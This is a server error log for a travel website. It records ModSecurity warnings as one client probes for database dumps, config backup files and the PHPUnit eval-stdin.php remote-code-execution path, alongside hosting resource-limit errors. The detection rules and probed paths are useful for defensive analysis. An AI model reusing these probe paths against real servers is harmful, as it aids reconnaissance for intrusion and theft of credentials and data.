[Fri Jul 17 08:55:18.638097 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/backup.sql"] [unique_id "almgnroj0IkvhSCYadmBpgAAAAQ"]
[Fri Jul 17 08:55:18.638627 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/backup.sql"] [unique_id "almgnroj0IkvhSCYadmBpgAAAAQ"]
[Fri Jul 17 08:55:18.638767 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.638903 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnroj0IkvhSCYadmBpgAAAAQ"]
[Fri Jul 17 08:55:18.647008 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.649574 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.651872 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.654632 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.655132 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.656329 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.656871 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/db.sql"] [unique_id "almgnobYoYGvYnmnM82CJQAAAAs"]
[Fri Jul 17 08:55:18.657658 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/db.sql"] [unique_id "almgnobYoYGvYnmnM82CJQAAAAs"]
[Fri Jul 17 08:55:18.657838 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.658032 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnobYoYGvYnmnM82CJQAAAAs"]
[Fri Jul 17 08:55:18.673984 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.674303 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.674654 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.693285 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
[Fri Jul 17 08:55:18.864464 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/mysql.sql"] [unique_id "almgnkgVnBK6wAv37w6sQAAAABQ"]
[Fri Jul 17 08:55:18.864992 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/mysql.sql"] [unique_id "almgnkgVnBK6wAv37w6sQAAAABQ"]
[Fri Jul 17 08:55:18.865158 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.865316 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkgVnBK6wAv37w6sQAAAABQ"]
[Fri Jul 17 08:55:18.867020 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.inc.php.bak"] [unique_id "almgnroj0IkvhSCYadmBpwAAAAQ"]
[Fri Jul 17 08:55:18.867623 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.inc.php.bak"] [unique_id "almgnroj0IkvhSCYadmBpwAAAAQ"]
[Fri Jul 17 08:55:18.867778 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.867903 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnroj0IkvhSCYadmBpwAAAAQ"]
[Fri Jul 17 08:55:18.871070 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.inc.php.old"] [unique_id "almgni0HS8lGbZyK8qt3GAAAACM"]
[Fri Jul 17 08:55:18.871626 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.inc.php.old"] [unique_id "almgni0HS8lGbZyK8qt3GAAAACM"]
[Fri Jul 17 08:55:18.871793 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.871939 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgni0HS8lGbZyK8qt3GAAAACM"]
[Fri Jul 17 08:55:18.876651 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.879610 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.inc.php~"] [unique_id "almgnnRlmrtCoY_COpcl5gAAAAg"]
[Fri Jul 17 08:55:18.882563 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.inc.php~"] [unique_id "almgnnRlmrtCoY_COpcl5gAAAAg"]
[Fri Jul 17 08:55:18.882804 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.883026 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnnRlmrtCoY_COpcl5gAAAAg"]
[Fri Jul 17 08:55:18.886168 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/export.sql"] [unique_id "almgnol9vhFBGA6D8l96BQAAAAw"]
[Fri Jul 17 08:55:18.886692 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/export.sql"] [unique_id "almgnol9vhFBGA6D8l96BQAAAAw"]
[Fri Jul 17 08:55:18.886851 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.886995 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnol9vhFBGA6D8l96BQAAAAw"]
[Fri Jul 17 08:55:18.921352 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.921602 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
